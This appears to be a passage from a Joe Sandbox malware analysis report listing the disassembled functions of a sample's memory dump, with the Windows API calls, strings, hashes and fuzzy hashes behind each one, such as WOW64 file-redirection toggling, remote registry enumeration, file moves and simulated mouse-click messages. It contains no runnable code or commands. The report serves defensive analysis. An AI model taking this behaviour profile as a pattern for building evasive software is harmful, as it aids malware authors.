GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00176350
FreeLibrary.KERNEL32(00000000,?,?,0017637F,?,?,001760AA,?,00000001,?,?,00000000), ref: 00176362

Strings

Wow64DisableWow64FsRedirection, xrefs: 0017634A
kernel32.dll, xrefs: 00176336

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 778b144c7f309265f44429a44d8b746551809ed655b644be56ae8b4893b6b29f
Instruction ID: c04db2cffbbf7749b67074a5abfec522162c2b6546853b72d4320dc047c80b96
Opcode Fuzzy Hash: 778b144c7f309265f44429a44d8b746551809ed655b644be56ae8b4893b6b29f
Instruction Fuzzy Hash: B1E08C32A03F2257D3222769BC0CA6AE628AF96B22B094015F90CE2241DFA0CC01C0B0

Uniqueness

Uniqueness Score: -1.00%

Function 001762FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,001B54C3,?,?,001760AA,?,00000001,?,?,00000000), ref: 00176304
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00176316
FreeLibrary.KERNEL32(00000000,?,?,001B54C3,?,?,001760AA,?,00000001,?,?,00000000), ref: 00176329

Strings

Wow64RevertWow64FsRedirection, xrefs: 00176310
kernel32.dll, xrefs: 001762FD

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 7b983837343fb014e9373f436e09e370e6293ad29d570f6369ba4e1f57afa737
Instruction ID: 8784144dc06a348310b9021012249dbb2df78bad8ae572c70c00d420ca9b072e
Opcode Fuzzy Hash: 7b983837343fb014e9373f436e09e370e6293ad29d570f6369ba4e1f57afa737
Instruction Fuzzy Hash: B4D01236657B215B93222765BC1C98EBE24EF8AB113494015B80CA2169CF64CD11C5E0

Uniqueness

Uniqueness Score: -1.00%

Function 001FACE6 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 001FAD86
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 001FAD94
GetProcessIoCounters.KERNEL32(00000000,?), ref: 001FADC7
CloseHandle.KERNEL32(?), ref: 001FAF9C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 15115afba4003087dc8091f864ad8bbee03c1880d65d723cf13a9510e5c705ae
Instruction ID: 83032e65f2ae891aa80c1224c9666459738ca109aa6eac84b1ecb89ab585d110
Opcode Fuzzy Hash: 15115afba4003087dc8091f864ad8bbee03c1880d65d723cf13a9510e5c705ae
Instruction Fuzzy Hash: 01A1BFB1604300AFD720EF24C896F2AB7E5AF58714F54885DF69D9B292DB74EC41CB82

Uniqueness

Uniqueness Score: -1.00%

Function 001FC328 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001FD2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001FC00D,?,?), ref: 001FD314
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD350
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD3C7
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD3FD

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001FC404
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001FC45F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 001FC4C2
RegCloseKey.ADVAPI32(?,?), ref: 001FC505
RegCloseKey.ADVAPI32(00000000), ref: 001FC512

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: a7c23474a4e14d5e5a8598a64250143ec88fa5b3fd308da00c2d9f2add1ece7b
Instruction ID: 2a23e057f31666f5e7daadc7c4a50ec5ad917f8a51da15e59e901ebd9e95b9c2
Opcode Fuzzy Hash: a7c23474a4e14d5e5a8598a64250143ec88fa5b3fd308da00c2d9f2add1ece7b
Instruction Fuzzy Hash: 1D619E31208249AFD714DF24C994E7ABBF5BF84308F14849CF55A8B2A2CB31ED45DB92

Uniqueness

Uniqueness Score: -1.00%

Function 001DEC27 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DE60C: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,001DD6E2,?), ref: 001DE629

Part of subcall function 001DE60C: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,001DD6E2,?), ref: 001DE642

Part of subcall function 001DE9C5: GetFileAttributesW.KERNELBASE(?,001DD755), ref: 001DE9C6

lstrcmpiW.KERNEL32(?,?), ref: 001DEC9F
MoveFileW.KERNEL32(?,?), ref: 001DECD8
_wcslen.LIBCMT ref: 001DEE17
_wcslen.LIBCMT ref: 001DEE2F
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 001DEE7C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 847419335d55fe4279450203eb71da56f0f48f3d5682f18477726f6f625a29a5
Instruction ID: 30c9fc44ca9b6191825ce4ac206b3025d44109d4e46a97fa4c2d14bc8e3bd413
Opcode Fuzzy Hash: 847419335d55fe4279450203eb71da56f0f48f3d5682f18477726f6f625a29a5
Instruction Fuzzy Hash: 2E5162B24083859BC774EBA4D881ADF73ECAF94311F40492FF58997152EF70A6888756

Uniqueness

Uniqueness Score: -1.00%

Function 001A23E1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001A2453
_free.LIBCMT ref: 001A2473

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 25cd0891853c43d822d0d69cb490d4faca4e64076ea127b8735955dc510441ac
Instruction ID: 70330cd56d4e655b23d03d5ef1a51e0ed745d6ca0fcd6f6d3abdb68ad881c646
Opcode Fuzzy Hash: 25cd0891853c43d822d0d69cb490d4faca4e64076ea127b8735955dc510441ac
Instruction Fuzzy Hash: 4B41D13AA002049FDB24DF7CC881A5DB7E6EF8A714F1541A8E515EB291D731ED42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 001E41CE Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 001E4225
TranslateAcceleratorW.USER32(?,00000000,?), ref: 001E427C
TranslateMessage.USER32(?), ref: 001E42A5
DispatchMessageW.USER32(?), ref: 001E42AF
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001E42C0

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 8223b98c6cb3fc58a5403027106fe4175e98c7aa9a0a161c443b37e0e805a84e
Instruction ID: 943ac94ca4c1ae2b488634af949e0d9224cde0b2824969e759fce9774b8f73a4
Opcode Fuzzy Hash: 8223b98c6cb3fc58a5403027106fe4175e98c7aa9a0a161c443b37e0e805a84e
Instruction Fuzzy Hash: 2E31C634900786DFEB35CB76FC0CBBE7BA8EB15304F44056DF562820A0D7649889CB21

Uniqueness

Uniqueness Score: -1.00%

Function 001D2191 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001D21A5
PostMessageW.USER32(00000001,00000201,00000001), ref: 001D2251
Sleep.KERNEL32(00000000,?,?,?), ref: 001D2259
PostMessageW.USER32(00000001,00000202,00000000), ref: 001D226A
Sleep.KERNEL32(00000000,?,?,?,?), ref: 001D2272

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: ee49177b7a2a3b33b4cd2fcd453162a46946501311dae457e14b5fcf52056637
Instruction ID: 1815183f1863154d03376b84ffc8e891c74ad7e6248c392d0f993b4c43720e21
Opcode Fuzzy Hash: ee49177b7a2a3b33b4cd2fcd453162a46946501311dae457e14b5fcf52056637
Instruction Fuzzy Hash: AB31C071900219EFDB04CFA8DD8DADE7BB5EB24315F10422AFA35A72D1C770A944CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00206065 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 002060A4
SendMessageW.USER32(?,00001074,?,00000001), ref: 002060FC
_wcslen.LIBCMT ref: 0020610E
_wcslen.LIBCMT ref: 00206119
SendMessageW.USER32(?,00001002,00000000,?), ref: 00206175

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 7ed5d7962939ff9e05e1451aeb6600a2eef86f84e3ff8e0bd0623869769369c8
Instruction ID: 241d64d18dcefccdae65aa9b38455b4c0db97786fd7bb685153d5fa2c7385b23
Opcode Fuzzy Hash: 7ed5d7962939ff9e05e1451aeb6600a2eef86f84e3ff8e0bd0623869769369c8
Instruction Fuzzy Hash: B7218271910319ABDF109FA5DC889EEBBB8FF05324F104216F929EA2C6D7B095A5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 001D089E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,001D07D1,80070057,?,?,?,001D0BEE), ref: 001D08BB
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,001D07D1,80070057,?,?), ref: 001D08D6
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,001D07D1,80070057,?,?), ref: 001D08E4
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,001D07D1,80070057,?), ref: 001D08F4
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,001D07D1,80070057,?,?), ref: 001D0900

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 512fad3a325d30d28b1d0ef87e4ad833e4c519031c5cddf34fc4c7e89115f582
Instruction ID: 9f46e1749ed1c5bf0f3e40c3004b5e7ba66f8bcbeb6beb80be04a97faf9042d5
Opcode Fuzzy Hash: 512fad3a325d30d28b1d0ef87e4ad833e4c519031c5cddf34fc4c7e89115f582
Instruction Fuzzy Hash: D3018F72A01318AFDB128FA4EC48B9A7BBDEB48752F104025FA05D2312D770ED019BA0

Uniqueness

Uniqueness Score: -1.00%

Function 001E0BCB Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,001E0A39,?,001E3C56,?,00000001,001B3ACE,?), ref: 001E0BE0
CloseHandle.KERNEL32(?,?,?,?,001E0A39,?,001E3C56,?,00000001,001B3ACE,?), ref: 001E0BED
CloseHandle.KERNEL32(?,?,?,?,001E0A39,?,001E3C56,?,00000001,001B3ACE,?), ref: 001E0BFA
CloseHandle.KERNEL32(?,?,?,?,001E0A39,?,001E3C56,?,00000001,001B3ACE,?), ref: 001E0C07
CloseHandle.KERNEL32(?,?,?,?,001E0A39,?,001E3C56,?,00000001,001B3ACE,?), ref: 001E0C14
CloseHandle.KERNEL32(?,?,?,?,001E0A39,?,001E3C56,?,00000001,001B3ACE,?), ref: 001E0C21

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 4958d41f72fbbe0f25860ae5fcf16403cfea2a78e5a2bff2fa20325c2d9d5356
Instruction ID: 75042a9ab274b09b19178ccb5f4954beb7ca515a2a747e3b019b28488be153c4
Opcode Fuzzy Hash: 4958d41f72fbbe0f25860ae5fcf16403cfea2a78e5a2bff2fa20325c2d9d5356
Instruction Fuzzy Hash: 5001EE75800B56CFCB32AF66D88080AFBF9FF503093108A3ED09252931C7B1A889CF80

Uniqueness

Uniqueness Score: -1.00%

Function 001D64D3 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 001D64E7
GetWindowTextW.USER32(00000000,?,00000100), ref: 001D64FE
MessageBeep.USER32(00000000), ref: 001D6516
KillTimer.USER32(?,0000040A), ref: 001D6532
EndDialog.USER32(?,00000001), ref: 001D654C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 3d97f2540970cf654e7cdc8910c17a364df2b040798a60d86a2484fa81e3eeaf
Instruction ID: d98c9c3212f0e16eae25cb75680e427a08e5aba07cd402c6dbfae0250a83e6ea
Opcode Fuzzy Hash: 3d97f2540970cf654e7cdc8910c17a364df2b040798a60d86a2484fa81e3eeaf
Instruction Fuzzy Hash: F901A430501704ABEB245F64FD4EB9677BCFF10B45F00065AB587A10E2DBF5AA94CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001A2630 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001A264E

Part of subcall function 001A2D58: RtlFreeHeap.NTDLL(00000000,00000000,?,001ADB71,00241DC4,00000000,00241DC4,00000000,?,001ADB98,00241DC4,00000007,00241DC4,?,001ADF95,00241DC4), ref: 001A2D6E
Part of subcall function 001A2D58: GetLastError.KERNEL32(00241DC4,?,001ADB71,00241DC4,00000000,00241DC4,00000000,?,001ADB98,00241DC4,00000007,00241DC4,?,001ADF95,00241DC4,00241DC4), ref: 001A2D80

_free.LIBCMT ref: 001A2660
_free.LIBCMT ref: 001A2673
_free.LIBCMT ref: 001A2684
_free.LIBCMT ref: 001A2695

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 663b20ff6b6b337b0f4fa069080e587b64be8bb926b096c26aee726549f4454b
Instruction ID: e8b8374d78a94b462229ae84863b3f8d5dcddb027aa81a8d27f02ff0a8afc59d
Opcode Fuzzy Hash: 663b20ff6b6b337b0f4fa069080e587b64be8bb926b096c26aee726549f4454b
Instruction Fuzzy Hash: 5CF0DA7C8017209BC701EFB9BC098483B64BB27B51746060AF919A6676C7B119ABAF84

Uniqueness

Uniqueness Score: -1.00%

Function 001F6B2D Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 001905D2: EnterCriticalSection.KERNEL32(0024170C,?,00000000,?,0017D1DA,00243540,00000001,00000000,?,?,001EEF39,?,?,00000000,00000001,?), ref: 001905DD
Part of subcall function 001905D2: LeaveCriticalSection.KERNEL32(0024170C,?,0017D1DA,00243540,00000001,00000000,?,?,001EEF39,?,?,00000000,00000001,?,00000001,00242430), ref: 0019061A

Part of subcall function 00190433: __onexit.LIBCMT ref: 00190439

__Init_thread_footer.LIBCMT ref: 001F6B95

Part of subcall function 00190588: EnterCriticalSection.KERNEL32(0024170C,00000000,?,0017D208,00243540,001B27E9,00000001,00000000,?,?,001EEF39,?,?,00000000,00000001,?), ref: 00190592
Part of subcall function 00190588: LeaveCriticalSection.KERNEL32(0024170C,?,0017D208,00243540,001B27E9,00000001,00000000,?,?,001EEF39,?,?,00000000,00000001,?,00000001), ref: 001905C5

Part of subcall function 001E3EF6: LoadStringW.USER32(00000066,?,00000FFF,0020DCEC), ref: 001E3F3E
Part of subcall function 001E3EF6: LoadStringW.USER32(?,?,00000FFF,?), ref: 001E3F64

Strings

x3$, xrefs: 001F6C97
x3$, xrefs: 001F6CB0
x3$, xrefs: 001F6CCC

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x3$$x3$$x3$
API String ID: 1072379062-3664864905
Opcode ID: 7f60ed7c72706d26c87a832d280c1828c195ce41609c1f80d66243d370136b6d
Instruction ID: 304d0ac3fd4f1dba2b61f2c6e2f22b782fb15a6cdec5acb7b3fb4c95f8a8518a
Opcode Fuzzy Hash: 7f60ed7c72706d26c87a832d280c1828c195ce41609c1f80d66243d370136b6d
Instruction Fuzzy Hash: C5C1C275A00109AFCB14DF98C891EBEB7B9FF58300F148069FA55AB292DB74ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001DCA3D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 001DCAC6
DeleteMenu.USER32(?,00000007,00000000), ref: 001DCB0C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00242990,00F36198), ref: 001DCB55

Strings

0, xrefs: 001DCA9F

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: a33a5b4279582e6ddcd4f146c4e38bfa2f03593a09595a489d5d3e882420b21f
Instruction ID: 3c16734010eb6c8d4042fde663e7bb07df40f4b8da7231a511c2d97d6fb6fd7f
Opcode Fuzzy Hash: a33a5b4279582e6ddcd4f146c4e38bfa2f03593a09595a489d5d3e882420b21f
Instruction Fuzzy Hash: A341A0702053429FDB20DF24D846F2ABBE4AF94364F144A1FF96597391D770E944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00204D75 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0020DCD0,00000000,?,?,?,?), ref: 00204E09
GetWindowLongW.USER32 ref: 00204E26
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00204E36

Strings

SysTreeView32, xrefs: 00204DDB

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
